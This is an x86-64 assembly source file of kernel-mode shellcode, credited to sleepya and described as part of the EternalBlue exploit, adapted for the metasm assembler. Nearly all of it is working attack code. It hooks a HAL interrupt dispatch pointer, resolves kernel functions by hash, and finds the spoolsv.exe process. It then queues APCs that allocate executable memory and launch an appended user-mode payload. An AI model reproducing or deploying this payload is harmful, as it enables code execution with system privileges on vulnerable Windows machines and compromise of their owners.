; kernel_shellcode.asm ; Function and offset resolution shellcode by sleepya (EternalBlue exploit) ; ; The payload is "installed" by being transferred into RWX memory and then overwriting the hal!HalpApicRequestInterrupt ; pointer in the hal!HalpApicRequestInterrupt dispatch table, effectively hooking it. Once executed, the shellcode will ; restore the original function pointer. ; ; This was updated to be compatible with metasm. The following 3 values need to be specified via #fixup: ; * PHALP_APIC_REQUEST_INTERRUPT - the original address of hal!HalpApicRequestInterrupt ; * PPHALP_APIC_REQUEST_INTERRUPT - the address of the pointer to hal!HalpApicRequestInterrupt in ; hal!HalpInterruptController ; * USER_SHELLCODE_SIZE - the length in bytes of the usermode shellcode ; ; The layout in memory will be as follows (only the first two sections need to be passed with the exploit): ; [ kernel mode shellcode ] [ user mode shellcode ] [ kernel mode shellcode data ] ; offsets to members within the shellcode's data section #define OFFSET_NTBASE 0x0 #define OFFSET_PEB_ADDR 0x8 #define OFFSET_KAPC 0x10 #define OFFSET_KAPC2 0x68 #define OFFSET_SC_BASE_ADDR 0xD0 ; some hardcoded EPROCESS and ETHREAD field offsets. I think they're consistent on Win10? #define OFFSET_EPROCTHREADLIST 0x30 #define OFFSET_ETHREADTHREADLIST 0x2F8 #define OFFSET_ETHREADMISCFLAGS 0x74 #define OFFSET_MISCFLALTERTABLE 0x4 ; peb offsets #define OFFSET_PEB_LDR 0x18 #define OFFSET_PEB_INMEMORDER 0x20 ; hashes to resolve function pointers #define HASH_PSGETCURRPROC 0xDBF47C78 #define HASH_PSGETPROCIMAGENAME 0x77645F3F #define HASH_PSGETPROCID 0x170114E1 #define HASH_PSGETPROCPEB 0xB818B848 #define HASH_KEINITIALIZEAPC 0x6D195CC4 #define HASH_KEINSERTQUEUEAPC 0xAFCC4634 #define HASH_ZWALLOCVIRTMEM 0x576E99EA #define HASH_CREATETHREAD 0x835E515E #define HASH_SPOOLSV 0x3EE083D8 ; size of usermode APC shellcode _main: _prologue: push r8 push r9 push r13 push r15 push r14 push rcx push rdx push rbx push rsi push rdi lea r14, [rip-$_+_data_addr] add r14, USER_SHELLCODE_SIZE _patch_back_hal_table: mov rax, PPHALP_APIC_REQUEST_INTERRUPT mov rbx, PHALP_APIC_REQUEST_INTERRUPT mov [rax], rbx sti xor rcx, rcx db 0x44, 0x0f, 0x22, 0xc1 ; 'mov cr8, rcx' (metasm incorrectly encodes this instruction) mov ecx, 0xc0000082 rdmsr and eax, 0xFFFFF000 shl rdx, 0x20 add rax, rdx _find_nt_base: sub rax, 0x1000 cmp word [rax], 0x5a4d jne _find_nt_base mov r15, rax mov [r14 + OFFSET_NTBASE], r15 _get_current_eprocess: mov edi, HASH_PSGETCURRPROC call _call_nt_func mov r13, rax _get_image_name_eprocess: mov edi, HASH_PSGETPROCIMAGENAME call _get_offset_from_function mov rcx, rax _get_proc_links_eprocess: mov edi, HASH_PSGETPROCID call _get_offset_from_function mov rdx, rax add rdx, 0x8 _find_target_process_loop: lea rsi, [r13+rcx] call calc_hash cmp eax, HASH_SPOOLSV je _found_target_process mov r13, [r13+rdx] sub r13, rdx jmp _find_target_process_loop _found_target_process: mov edi, HASH_PSGETPROCPEB mov rcx, r13 call _call_nt_func mov [r14 + OFFSET_PEB_ADDR], rax mov r8, [r13 + OFFSET_EPROCTHREADLIST] mov r9, [r13 + OFFSET_EPROCTHREADLIST + 0x8] sub r8, OFFSET_ETHREADTHREADLIST xor rsi, rsi _find_good_thread: sub r9, OFFSET_ETHREADTHREADLIST mov edi, dword [r9 + OFFSET_ETHREADMISCFLAGS] bt edi, OFFSET_MISCFLALTERTABLE jnc _find_good_thread_loop mov rsi, r9 jmp _init_apc _find_good_thread_loop: cmp r8, r9 mov r9, [r9 + OFFSET_ETHREADTHREADLIST + 8] jne _find_good_thread _init_apc: test rsi, rsi jz _restore_regs_and_jmp_back lea rcx, [r14 + OFFSET_KAPC] mov rdx, rsi xor r8, r8 lea r9, [rip-$_+_kernel_apc_routine] push rdx push r8 push r8 push r8 mov edi, HASH_KEINITIALIZEAPC sub rsp, 0x20 call _call_nt_func add rsp, 0x40 _insert_apc: lea rcx, [r14 + OFFSET_KAPC] mov edi, HASH_KEINSERTQUEUEAPC sub rsp, 0x20 mov rax, 0x5 db 0x44, 0x0f, 0x22, 0xc0 ; 'mov cr8, rax' (metasm incorrectly encodes this instruction) call _call_nt_func add rsp, 0x20 _restore_regs_and_jmp_back: cli mov rax, rbx pop rdi pop rsi pop rbx pop rdx pop rcx pop r14 pop r15 pop r13 pop r9 pop r8 jmp rax _call_nt_func: call _get_proc_addr jmp rax _get_proc_addr: ; Save registers push rbx push rcx push rsi ; for using calc_hash ; use rax to find EAT mov eax, dword [r15+60] ; Get PE header e_lfanew add rax, r15 mov eax, dword [rax+136] ; Get export tables RVA add rax, r15 push rax ; save EAT mov ecx, dword [rax+24] ; NumberOfFunctions mov ebx, dword [rax+32] ; FunctionNames add rbx, r15 _get_proc_addr_get_next_func: ; When we reach the start of the EAT (we search backwards), we hang or crash dec ecx ; decrement NumberOfFunctions mov esi, dword [rbx+rcx*4] ; Get rva of next module name add rsi, r15 ; Add the modules base address call calc_hash cmp eax, edi ; Compare the hashes jnz _get_proc_addr_get_next_func ; try the next function _get_proc_addr_finish: pop rax ; restore EAT mov ebx, dword [rax+36] add rbx, r15 ; ordinate table virtual address mov cx, word [rbx+rcx*2] ; desired functions ordinal mov ebx, dword [rax+28] ; Get the function addresses table rva add rbx, r15 ; Add the modules base address mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA add rax, r15 ; Add the modules base address to get the functions actual VA pop rsi pop rcx pop rbx ret calc_hash: push rdx xor eax, eax cdq _calc_hash_loop: lodsb ; Read in the next byte of the ASCII string ror edx, 13 ; Rotate right our hash value add edx, eax ; Add the next byte of the string test eax, eax ; Stop when found NULL jne _calc_hash_loop xchg edx, eax pop rdx ret _get_offset_from_function: call _get_proc_addr cmp byte [rax+2], 0x80 ja _get_offset_dword movzx eax, byte [rax+3] ret _get_offset_dword: mov eax, dword [rax+3] ret _kernel_apc_routine: push r15 push r14 push rdi push rsi _find_createthread_addr: lea rax, [rip-$_+_data_addr] mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_PEB_ADDR] mov rcx, [rax + OFFSET_PEB_LDR] mov rcx, [rcx + OFFSET_PEB_INMEMORDER] _find_kernel32_dll_loop: mov rcx, [rcx] cmp word [rcx+0x48], 0x18 jne _find_kernel32_dll_loop mov rax, [rcx+0x50] cmp dword [rax+0xc], 0x00320033 jnz _find_kernel32_dll_loop mov r15, [rcx + 0x20] mov edi, HASH_CREATETHREAD call _get_proc_addr mov r14, rax _alloc_mem: lea r15, [rip-$_+_data_addr] mov r15, [r15 + USER_SHELLCODE_SIZE + OFFSET_NTBASE] xor eax, eax lea rdx, [rip-$_+_data_addr] add rdx, USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR mov ecx, eax not rcx mov r8, rax mov al, 0x40 push rax shl eax, 6 push rax mov [r9], rax sub rsp, 0x20 mov edi, HASH_ZWALLOCVIRTMEM call _call_nt_func add rsp, 0x30 _copy_user_bootstrap_and_shellcode: lea rdi, [rip-$_+_data_addr] mov rdi, [rdi + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR] lea rsi, [rip-$_+_user_shellcode_bootstrap] mov ecx, 0x1d + USER_SHELLCODE_SIZE rep movsb _init_and_insert_apc: lea rcx, [rip-$_+_data_addr] add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2 mov rdx, qword [gs:0x188] xor r8, r8 lea r9, [rip-$_+_kernel_apc_routine2] push r8 push 0x1 lea rax, [rip-$_+_data_addr] mov rax, [rax + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR] push rax push r8 sub rsp, 0x20 mov edi, HASH_KEINITIALIZEAPC call _call_nt_func add rsp, 0x40 lea rcx, [rip-$_+_data_addr] add rcx, USER_SHELLCODE_SIZE + OFFSET_KAPC2 mov rdx, r14 xor r9, r9 mov edi, HASH_KEINSERTQUEUEAPC sub rsp, 0x20 call _call_nt_func add rsp, 0x20 _kernel_apc_done: pop rsi pop rdi pop r14 pop r15 ret _kernel_apc_routine2: nop ret _user_shellcode_bootstrap: xchg rdx, rax xor ecx, ecx push rcx push rcx mov r9, rcx lea r8, [rip-$_+_user_shellcode] ; user payload has been appended to bottom of this shellcode mov edx, ecx sub rsp, 0x20 call rax add rsp, 0x30 ret _data_addr: _user_shellcode: